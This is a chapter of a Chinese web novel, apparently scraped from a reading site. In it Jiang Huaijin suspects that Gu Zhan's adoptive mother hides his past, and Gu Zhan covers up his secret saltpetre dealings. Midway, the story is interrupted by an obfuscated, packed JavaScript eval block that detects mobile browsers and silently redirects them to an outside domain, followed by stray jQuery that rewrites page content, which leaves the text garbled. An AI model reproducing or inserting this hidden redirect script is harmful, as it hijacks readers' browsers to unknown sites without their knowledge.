第27章
对于江淮锦来说这种体验十分新奇。
从前他也听顾瞻讲过书院里面的趣事,好的当然是同窗们一块儿共读互比诗文探讨学术,当然也有分派系斗殴打架,彼此看不惯找麻烦挑事。那时候顾瞻只重点给他讲好的那些,讲人家多么刻苦,对读书多么用心钻研等等,但也稍稍带过一些书院里打架的事儿。
只略微讲过一点点,江淮锦好奇想听,顾瞻总是找别的事情把他的注意力吸引走,以至于到最后江淮锦都不清楚顾瞻到底有没有在书院跟人打过架。
江淮锦自己从来就不是个省心的,当初在崇文馆跟着众位皇子贵戚们念书的时候,那也是向来不吃亏,虽然自己真自己动手的时候不多,但下面的内侍小厮伴读一大堆,吵吵嚷嚷起来场面也是不容小觑。
但他从来没有跟顾瞻这样一起闹过,都说一起在书院打架打出来的才是真感情,现成的机会摆在眼前,怎么可以轻易放过!
江淮锦本意是去告状,一定要好好跟顾瞻说说这书院里那几个人有多欺负人,好让顾瞻给他出气。
“干娘,他总这么晚才回来吗?”江淮锦坐在小板凳上,陪着月娘一块儿剥豆子。
月娘笑笑,把手上剥好一筐的豆子倒到盆子里,又抓了一把在手上:“他事儿多,这还算好的,起码每天都能回来一趟,我能见着人心里也踏实,那会儿难的时候,成天成天见不着人,我心里面就吊着,生怕他在外面出什么事。”
豆子在江淮锦手心转了一个圈,又被他捏住,好一会儿江淮锦才小声问:“可是干娘,我听顾瞻说你们本家不在京都,为什么你带着他到京都来了呢?家里还有其他人吗?”
江淮锦只是一问,哪知道月娘的神色忽然惊慌起来,手上装豆子的小框也被带翻在地,绿色的青豆撒了一地,月娘慌张地弯腰捡豆子,一边堆着笑跟江淮锦说:“哪里还有其他人,逃荒逃过来的,家里面连年大旱庄稼不收成,人不逃哪有命活?”
“娘我捡,我来捡您坐着。”江淮锦不让月娘多动,自己蹲在地上把散落一地的青豆捡干净。
他知道不对劲。
却不知道哪里不对劲。
顾瞻的身世有问题,月娘藏着话没有说,可为什么呢?
从前他知道的顾瞻是将门之后,陛下赐婚时也说他二人门当户对,顾瞻一表人才配他实在委屈。可江淮锦也只知道这些,再多的他就不知道了,最多就逢上年节时顾瞻带他祭拜宗祠,宗祠里不仅仅供奉着顾家二老的前辈,还有一些先辈。据顾瞻所说,那些人有中有家中叔伯兄弟,也有与父亲并肩作战的同僚兄弟。
绝不是像月娘说的那样,逃难而来,家中无人。
到底顾瞻身上发生过什么?
“你怎么跑来了?”手腕被人轻轻挡住,地上的豆子被另外一只手捡起来,顾瞻接过装豆子的框,又冲月娘说道:“娘,不是不让您干这个吗?眼睛本来就不好,伤眼睛。”
月娘忙起来,拍拍身上的围裙笑着端走剥好的豆子:“这么大亮的天能费什么眼睛,人家小江等你好大会儿了,你们说话,娘给你们做蒸豆饭。”
“小江晚上留着一块儿吃,干娘做的蒸饭可好吃。”
江淮锦嘴甜:“听干娘的,干娘手艺好,我巴不得天天过来吃。”
可看着月娘离开的背影,江淮锦总觉得她好像在逃避,至于她在逃避的事情应该就是问题的关键所在。
“问你呢,跑这儿干什么来了?”顾瞻叫回了出神的江淮锦。
“当然有事。”江淮锦急着要告状:“还不是书院里……你身上什么味儿?怎么这么冲鼻子?”
江淮锦话说到一半觉得不对劲,凑到顾瞻跟前,伸着鼻子闻来闻去:“你干什么去了?怎么弄得这一身味?什么奇怪的为难,难道是胡姬用的香粉?”
“什么狗鼻子。”顾瞻把人推开一点:“你是小狗吗?使劲儿在我这儿闻。还香粉味儿,谁家胡姬沾上这一身的味儿还能出去卖酒?”
“那是什么?”江淮锦不罢休,直勾勾盯着顾瞻非要一个答案:“不许哄我。”
顾瞻神色一顿,别开视线不看江淮锦的眼睛:“可能是武馆里的药酒,就你鼻子灵,我都没闻出来。”
他一整天都在忙硝石还有硫磺的事儿,这东西不是一般的玩意,得有固定的门路才能搞到,原先他们都是跟一个胡商固定交易,谁知道这两天胡商手里的货也缺,就领着顾瞻去了另一处。
头一次在那拿货,顾瞻倍加小心,来来回回都是自己亲自跑亲自查看,生怕中间出点意外,身上也就跟着沾了这些味道。
味道也不重,就是江淮锦鼻子实在太灵,上来就给他闻出来,也幸好这不食人间烟火烟火的小公子分辨不出来硫磺的味道,还能糊弄一二,但凡稍微懂一点,真是哄不过去。
不过也算给顾瞻提了醒,还是得再小心一点。
“药酒?你受伤了吗?”敷衍的说辞却又引起另一番的注意,江淮锦直接过来就想上手动顾瞻的衣服:“怎么会受伤?是不是在武馆里他们欺负你?你去武馆做什么怎么还受伤?让我看看严重不严重。”
“不是我,我没受伤!”顾瞻慌得不行,一边后退一边着急要拦着江淮锦的动作,可惜院子里地方不够大,两句话的功夫就给他逼得退无可退:“是师傅扭伤了腰,让我帮着按按药酒,可能身上沾了点,我没事。你能先松开手吗?”
江淮锦担心顾瞻身上带伤,也没注意自己的动作,这会儿才察觉出来自己的动作有多不妥当,连忙把按在顾瞻胸口上的手拿开,视线有些飘忽,最终落在顾瞻的衣裳下摆处。
“说你,跑来找我干什么?书院里怎么了?”
“书院里、”江淮锦的话到嘴边,忽然说不下去了。
顾瞻的衣裳是脏的,鞋子也是脏的。刚才江淮锦急着说话没注意,这会儿再看顾瞻,眼下一片青黑,眼睛里还有一点红血色,脸色也不太好看,分明就是没有休息好。
想告状的话,怎么都吐不出来,虽然不知道顾瞻到底在忙些什么,但顾瞻已经很辛苦了,江淮锦就舍不得再拿那些鸡毛蒜皮的小事来惹他。
他长大了,不再是从前不懂事的那个小纨绔,他也要学着心疼顾瞻才对。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386806|184193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>江淮锦想起从前,顾瞻军务繁忙,那时候自己还很任性,总是不体谅顾瞻的辛苦,吵吵嚷嚷跟顾瞻闹,有时候在宫里跟皇子们起了冲突感觉自己受了委屈,就要顾瞻给他撑腰找场子,顾瞻那会儿总是搂着他哄着,哪怕白日里忙了一天的公务,只要没把他哄顺了气,顾瞻就绝对不会去休息。
顾瞻:“你又在书院里惹事?”
“才没有!”江淮锦决定不说了,省得顾瞻又惦记他:“书院里可好了,就是不见你好无聊,我来看看你不行吗?”
“真的?”顾瞻不太信。
刚才这人明明说了有事,这会儿话锋一转事儿又没了,而且说话还吞吞吐吐肯定是没说实话,想了想顾瞻又问:“是他们又找你麻烦?”
江淮锦:“谁敢找我麻烦?你想什么呢?你快去收拾收拾吧,一身儿的味儿难闻死了,去擦洗一下换个衣裳,一会儿再让干娘看见该心疼了。”
“快去快去。”
这就是不愿意说,顾瞻也没勉强,只看了江淮锦一眼,确定这人也没受太大的委屈,就按下这茬事没再多提。
当晚顾瞻照例给江淮锦送到了朱雀大街口,确保他没事以后才折返,不过他并没有回家,而且去了二水东街的唐宅,从小门让人叫了唐子宽出来,问了几句话,把唐子宽问得十分着恼。
“哥,顾哥!你是我亲哥!”唐子宽抓了抓头发:“这个时候你叫我,我还以为有什么大事,就那个公子哥?他能怎么着?他怎么就那么金贵?我说,哥,你俩到底怎么回事,你为什么就对他这么上心?!”
唐子宽问者无心,某人却听者有意,脸色当即就变得很差:“问你就说,哪来的那么多废话。他是因为我才跟姚刘二人起的冲突,事儿在我这,要是真找他麻烦,我难道不该管?”
“管管管。”唐子宽真是无话可说,那要真追究起来,事儿其实应该在他这儿,要不是当初他把私售的账本留到书院差点被那俩人看见,顾哥也不至于情急之下跟人动手,结下这个梁子,牵连到那个新来的公子哥,能不管吗?
顾瞻:“说。”
唐子宽一五一十交代:“我早上去的时候,那江淮锦的案几凳子还有他练的字都被霍霍完了,今天一整天也没见姚刘二人来书院上课,说是请假没来。散学的时候我走得晚,出来就听见门口几个人嘀咕,说是谁家的马车走到山间失了控,差点撞伤人。我寻思多半也是他,咱这书院用得上马车的也没几个人,更不用说还是两架豪华大马车。没了,我知道的就这些。”
说完唐子宽又十分纳闷:“不过顾哥你也没去书院,你怎么知道的?难道那小子还去找你告状?呵,他可真行。”
顾瞻听完,脸上没什么表情,只看了唐子宽一眼,唐子宽立马就明白:“懂,我懂,要是再让我碰上,我帮他出头,不用顾哥你交代,自己惹的事儿自己了。我明白,不会让他一个小白脸吃亏。”
“你也是念过几本书,嘴里能不能有点好词?”顾瞻拧眉:“他有名有姓,再让我听见你叫这些乱七八糟的,看我不收拾你!”
唐子宽:…………得,终究是我错付了。